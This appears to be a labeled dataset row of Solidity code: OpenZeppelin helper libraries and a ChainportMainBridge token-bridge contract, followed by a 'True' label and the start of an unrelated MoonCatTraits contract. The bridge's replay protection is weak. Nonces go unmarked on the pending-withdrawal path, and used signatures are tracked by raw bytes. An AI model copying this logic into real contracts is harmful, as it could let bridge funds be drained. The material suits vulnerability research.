* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/proxy/Initializable.sol
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/interfaces/IMaintainersRegistry.sol
pragma solidity ^0.6.12;
/**
* IMaintainersRegistry contract.
* @author Nikola Madjarevic
* Date created: 3.5.21.
* Github: madjarevicn
*/
interface IMaintainersRegistry {
function isMaintainer(address _address) external view returns (bool);
}
// File contracts/ChainportMiddleware.sol
pragma solidity ^0.6.12;
/**
* ChainportMiddleware contract.
* @author Nikola Madjarevic
* Date created: 4.5.21.
* Github: madjarevicn
*/
contract ChainportMiddleware {
address public chainportCongress;
IMaintainersRegistry public maintainersRegistry;
// Only maintainer modifier
modifier onlyMaintainer {
require(maintainersRegistry.isMaintainer(msg.sender), "ChainportUpgradables: Restricted only to Maintainer");
_;
}
// Only chainport congress modifier
modifier onlyChainportCongress {
require(msg.sender == chainportCongress, "ChainportUpgradables: Restricted only to ChainportCongress");
_;
}
function setCongressAndMaintainers(
address _chainportCongress,
address _maintainersRegistry
)
internal
{
chainportCongress = _chainportCongress;
maintainersRegistry = IMaintainersRegistry(_maintainersRegistry);
}
function setMaintainersRegistry(
address _maintainersRegistry
)
public
onlyChainportCongress
{
maintainersRegistry = IMaintainersRegistry(_maintainersRegistry);
}
}
// File contracts/interfaces/IValidator.sol
pragma solidity ^0.6.12;
/**
* IValidator contract.
* @author Nikola Madjarevic
* Date created: 3.5.21.
* Github: madjarevicn
*/
interface IValidator {
//nonce, beneficiary, amount, token
function verifyWithdraw(bytes calldata signedMessage, uint256 nonce, address beneficiary, uint256 amount, address token) external view returns (bool);
function recoverSignature(bytes calldata signedMessage, uint256 nonce, address beneficiary, uint256 amount, address token) external view returns (address);
}
// File contracts/ChainportMainBridge.sol
pragma solidity ^0.6.12;
contract ChainportMainBridge is Initializable, ChainportMiddleware {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IValidator public signatureValidator;
struct PendingWithdrawal {
uint256 amount;
address beneficiary;
uint256 unlockingTime;
}
// Mapping if bridge is Frozen
bool public isFrozen;
// Mapping function name to maintainer nonce
mapping(string => uint256) public functionNameToNonce;
// Mapping the pending withdrawal which frozen temporarily asset circulation
mapping(address => PendingWithdrawal) public tokenToPendingWithdrawal;
// Mapping per token to check if there's any pending withdrawal attempt
mapping(address => bool) public isTokenHavingPendingWithdrawal;
// Mapping for marking the assets
mapping(address => bool) public isAssetProtected;
// Check if signature is being used
mapping(bytes => bool) public isSignatureUsed;
// % of the tokens, must be whole number, no decimals pegging
uint256 public safetyThreshold;
// Length of the timeLock
uint256 public freezeLength;
// Mapping for freezing the assets
mapping(address => bool) public isAssetFrozen;
// Network activity state mapping
mapping(uint256 => bool) public isNetworkActive;
// Nonce mapping
mapping(bytes32 => bool) public isNonceUsed;
// Events
event TokensClaimed(address tokenAddress, address issuer, uint256 amount);
event CreatedPendingWithdrawal(address token, address beneficiary, uint256 amount, uint256 unlockingTime);
event WithdrawalApproved(address token, address beneficiary, uint256 amount);
event WithdrawalRejected(address token, address beneficiary, uint256 amount);
event TimeLockLengthChanged(uint256 newTimeLockLength);
event AssetProtected(address asset, bool isProtected);
event SafetyThresholdChanged(uint256 newSafetyThreshold);
event AssetFrozen(address asset, bool isAssetFrozen);
event NetworkActivated(uint256 networkId);
event NetworkDeactivated(uint256 networkId);
event TokensDeposited(address tokenAddress, address issuer, uint256 amount, uint256 networkId);
modifier isBridgeNotFrozen {
require(isFrozen == false, "Error: All Bridge actions are currently frozen.");
_;
}
modifier isAmountGreaterThanZero(uint256 amount) {
require(amount > 0, "Error: Amount is not greater than zero.");
_;
}
modifier isAssetNotFrozen(address asset) {
require(!isAssetFrozen[asset], "Error: Asset is frozen.");
_;
}
// Initialization function
function initialize(
address _maintainersRegistryAddress,
address _chainportCongress,
address _signatureValidator,
uint256 _freezeLength,
uint256 _safetyThreshold
)
public
initializer
{
require(_safetyThreshold > 0 && _safetyThreshold < 100, "Error: % is not valid.");
setCongressAndMaintainers(_chainportCongress, _maintainersRegistryAddress);
signatureValidator = IValidator(_signatureValidator);
freezeLength = _freezeLength;
safetyThreshold = _safetyThreshold;
}
function freezeBridge()
public
onlyMaintainer
{
isFrozen = true;
}
function unfreezeBridge()
public
onlyChainportCongress
{
isFrozen = false;
}
function setAssetFreezeState(
address tokenAddress,
bool _isFrozen
)
public
onlyChainportCongress
{
isAssetFrozen[tokenAddress] = _isFrozen;
emit AssetFrozen(tokenAddress, _isFrozen);
}
function freezeAssetByMaintainer(
address tokenAddress
)
public
onlyMaintainer
{
isAssetFrozen[tokenAddress] = true;
emit AssetFrozen(tokenAddress, true);
}
function setAssetProtection(
address tokenAddress,
bool _isProtected
)
public
onlyChainportCongress
{
isAssetProtected[tokenAddress] = _isProtected;
emit AssetProtected(tokenAddress, _isProtected);
}
function protectAssetByMaintainer(
address tokenAddress
)
public
onlyMaintainer
{
isAssetProtected[tokenAddress] = true;
emit AssetProtected(tokenAddress, true);
}
// Function to set timelock
function setTimeLockLength(
uint256 length
)
public
onlyChainportCongress
{
freezeLength = length;
emit TimeLockLengthChanged(length);
}
// Function to set minimal value that is considered important by quantity
function setThreshold(
uint256 _safetyThreshold
)
public
onlyChainportCongress
{
// This is representing % of every asset on the contract
// Example: 32% is safety threshold
require(_safetyThreshold > 0 && _safetyThreshold < 100, "Error: % is not valid.");
safetyThreshold = _safetyThreshold;
emit SafetyThresholdChanged(_safetyThreshold);
}
function releaseTokensByMaintainer(
bytes memory signature,
address token,
uint256 amount,
address beneficiary,
uint256 nonce
)
public
onlyMaintainer
isBridgeNotFrozen
isAmountGreaterThanZero(amount)
isAssetNotFrozen(token)
{
require(isTokenHavingPendingWithdrawal[token] == false, "Error: Token is currently having pending withdrawal.");
require(isSignatureUsed[signature] == false, "Error: Already used signature.");
isSignatureUsed[signature] = true;
bytes32 nonceHash = keccak256(abi.encodePacked("releaseTokensByMaintainer", nonce));
require(!isNonceUsed[nonceHash], "Error: Nonce already used.");
isNonceUsed[nonceHash] = true;
bool isMessageValid = signatureValidator.verifyWithdraw(signature, nonce, beneficiary, amount, token);
require(isMessageValid == true, "Error: Signature is not valid.");
IERC20(token).safeTransfer(beneficiary, amount);
emit TokensClaimed(token, beneficiary, amount);
}
function releaseTokensTimelockPassed(
bytes memory signature,
address token,
uint256 amount,
uint256 nonce
)
public
isBridgeNotFrozen
isAmountGreaterThanZero(amount)
isAssetNotFrozen(token)
{
require(isSignatureUsed[signature] == false, "Error: Signature already used");
isSignatureUsed[signature] = true;
bytes32 nonceHash = keccak256(abi.encodePacked("releaseTokens", nonce));
require(!isNonceUsed[nonceHash], "Error: Nonce already used.");
isNonceUsed[nonceHash] = true;
// Check if freeze time has passed and same user is calling again
if(isTokenHavingPendingWithdrawal[token] == true) {
PendingWithdrawal memory p = tokenToPendingWithdrawal[token];
if(p.amount == amount && p.beneficiary == msg.sender && p.unlockingTime <= block.timestamp) {
// Verify the signature user is submitting
bool isMessageValid = signatureValidator.verifyWithdraw(signature, nonce, p.beneficiary, amount, token);
require(isMessageValid == true, "Error: Signature is not valid.");
// Clear up the state and remove pending flag
delete tokenToPendingWithdrawal[token];
delete isTokenHavingPendingWithdrawal[token];
IERC20(token).safeTransfer(p.beneficiary, p.amount);
emit TokensClaimed(token, p.beneficiary, p.amount);
emit WithdrawalApproved(token, p.beneficiary, p.amount);
}
} else {
revert("Invalid function call");
}
}
// Function to release tokens
function releaseTokens(
bytes memory signature,
address token,
uint256 amount,
uint256 nonce
)
public
isBridgeNotFrozen
isAmountGreaterThanZero(amount)
isAssetNotFrozen(token)
{
require(isTokenHavingPendingWithdrawal[token] == false, "Error: Token is currently having pending withdrawal.");
require(isSignatureUsed[signature] == false, "Error: Signature already used");
isSignatureUsed[signature] = true;
bytes32 nonceHash = keccak256(abi.encodePacked("releaseTokens", nonce));
require(!isNonceUsed[nonceHash], "Error: Nonce already used.");
// msg.sender is beneficiary address
address beneficiary = msg.sender;
// Verify the signature user is submitting
bool isMessageValid = signatureValidator.verifyWithdraw(signature, nonce, beneficiary, amount, token);
// Requiring that signature is valid
require(isMessageValid == true, "Error: Signature is not valid.");
if(isAboveThreshold(token, amount) && isAssetProtected[token] == true) {
PendingWithdrawal memory p = PendingWithdrawal({
amount: amount,
beneficiary: beneficiary,
unlockingTime: now.add(freezeLength)
});
tokenToPendingWithdrawal[token] = p;
isTokenHavingPendingWithdrawal[token] = true;
// Fire an event
emit CreatedPendingWithdrawal(token, beneficiary, amount, p.unlockingTime);
} else {
isNonceUsed[nonceHash] = true;
IERC20(token).safeTransfer(beneficiary, amount);
emit TokensClaimed(token, beneficiary, amount);
}
}
// Function for congress to approve withdrawal and transfer funds
function approveWithdrawalAndTransferFunds(
address token
)
public
onlyChainportCongress
isBridgeNotFrozen
{
require(isTokenHavingPendingWithdrawal[token] == true);
// Get current pending withdrawal attempt
PendingWithdrawal memory p = tokenToPendingWithdrawal[token];
// Clear up the state and remove pending flag
delete tokenToPendingWithdrawal[token];
delete isTokenHavingPendingWithdrawal[token];
// Transfer funds to user
IERC20(token).safeTransfer(p.beneficiary, p.amount);
// Emit events
emit TokensClaimed(token, p.beneficiary, p.amount);
emit WithdrawalApproved(token, p.beneficiary, p.amount);
}
// Function to reject withdrawal from congress
function rejectWithdrawal(
address token
)
public
onlyChainportCongress
isBridgeNotFrozen
{
require(isTokenHavingPendingWithdrawal[token] == true);
// Get current pending withdrawal attempt
PendingWithdrawal memory p = tokenToPendingWithdrawal[token];
emit WithdrawalRejected(token, p.beneficiary, p.amount);
// Clear up the state and remove pending flag
delete tokenToPendingWithdrawal[token];
delete isTokenHavingPendingWithdrawal[token];
}
// Function to check if amount is above threshold
function isAboveThreshold(address token, uint256 amount) public view returns (bool) {
return amount >= getTokenBalance(token).mul(safetyThreshold).div(100);
}
// Get contract balance of specific token
function getTokenBalance(address token) internal view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
// Function to deposit tokens to specified network's bridge
function depositTokens(
address token,
uint256 amount,
uint256 networkId
)
public
isBridgeNotFrozen
isAmountGreaterThanZero(amount)
isAssetNotFrozen(token)
{
require(isNetworkActive[networkId], "Error: Network with this id is not supported.");
IERC20(token).safeTransferFrom(address(msg.sender), address(this), amount);
emit TokensDeposited(token, msg.sender, amount, networkId);
}
// Function to activate already added supported network
function activateNetwork(
uint256 networkId
)
public
onlyMaintainer
{
isNetworkActive[networkId] = true;
emit NetworkActivated(networkId);
}
// Function to deactivate specified added network
function deactivateNetwork(
uint256 networkId
)
public
onlyChainportCongress
{
isNetworkActive[networkId] = false;
emit NetworkDeactivated(networkId);
}
} | True | [
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|
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.1;
interface IMoonCatAcclimator {
function getApproved(uint256 tokenId) external view returns (address);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address _owner) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface IMoonCatRescue {
function rescueOrder(uint256 tokenId) external view returns (bytes5);
function catOwners(bytes5 catId) external view returns (address);
function catNames(bytes5 catId) external view returns (bytes32);
}
interface IReverseResolver {
function claim(address owner) external returns (bytes32);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address);
}
interface IMoonCatReference {
function doc (address contractAddress) external view returns (string memory name, string memory description, string memory details);
function setDoc (address contractAddress, string calldata name, string calldata description) external;
}
/**
* @title MoonCatTraits
* @notice On Chain MoonCat Trait Parsing
* @dev Provides On Chain Reference for the MoonCat Traits
*/
contract MoonCatTraits {
/* Human-friendly trait names */
string[2] public facingNames = ["left", "right"];
string[4] public expressionNames = ["smiling", "grumpy", "pouting", "shy"];
string[4] public patternNames = ["pure", "tabby", "spotted", "tortie"];
string[4] public poseNames = ["standing", "sleeping", "pouncing", "stalking"];
/* External Contracts */
IMoonCatRescue MCR = IMoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6);
IMoonCatReference MoonCatReference;
/* Traits */
/**
* @dev For a given MoonCat rescue order, return the calendar year it was rescued in.
*/
function rescueYearOf (uint256 rescueOrder) public pure returns (uint16) {
if (rescueOrder <= 3364) {
return 2017;
} else if (rescueOrder <= 5683) {
return 2018;
} else if (rescueOrder <= 5754) {
return 2019;
} else if (rescueOrder <= 5757) {
return 2020;
} else {
return 2021;
}
}
/**
* @dev For a given MoonCat hex ID, extract the trait data from the "K" byte.
*/
function kTraitsOf (bytes5 catId) public pure returns
(bool genesis,
bool pale,
uint8 facing,
uint8 expression,
uint8 pattern,
uint8 pose)
{
uint40 c = uint40(catId);
uint8 classification = uint8(c >> 32);
require(classification == 0 || classification == 255, "Invalid Classification");
genesis = (classification == 255);
uint8 r = uint8(c >> 16);
uint8 g = uint8(c >> 8);
uint8 b = uint8(c);
require(!genesis || (r == 0 && g == 12 && b == 167), "Invalid Genesis Id");
pale = ((c >> 31) & 1) == 1;
if (genesis) {
uint8 k = uint8(c >> 24);
bool even_k = k % 2 == 0;
pale = (even_k && pale) || (!even_k && !pale);
}
facing = uint8((c >> 30) & 1);
expression = uint8((c >> 28) & 3);
pattern = uint8((c >> 26) & 3);
pose = uint8((c >> 24) & 3);
}
/**
* @dev For a given MoonCat rescue order, extract the trait data from the "K" byte.
*/
function kTraitsOf (uint256 rescueOrder) public view returns
(bool genesis,
bool pale,
uint8 facing,
uint8 expression,
uint8 pattern,
uint8 pose)
{
require(rescueOrder < 25440, "Invalid Rescue Order");
return kTraitsOf(MCR.rescueOrder(rescueOrder));
}
/**
* @dev For a given MoonCat hex ID, extract the trait data in a human-friendly format.
*/
function traitsOf (bytes5 catId) public view returns
(bool genesis,
bool pale,
string memory facing,
string memory expression,
string memory pattern,
string memory pose)
{
(bool genesisBool, bool paleBool, uint8 facingInt, uint8 expressionInt, uint8 patternInt, uint8 poseInt) = kTraitsOf(catId);
return (
genesisBool,
paleBool,
facingNames[facingInt],
expressionNames[expressionInt],
patternNames[patternInt],
poseNames[poseInt]
);
}
/**
* @dev For a given MoonCat rescue order, extract the trait data in a human-friendly format.
*/
function traitsOf (uint256 rescueOrder) public view returns
(bool genesis,
bool pale,
string memory facing,
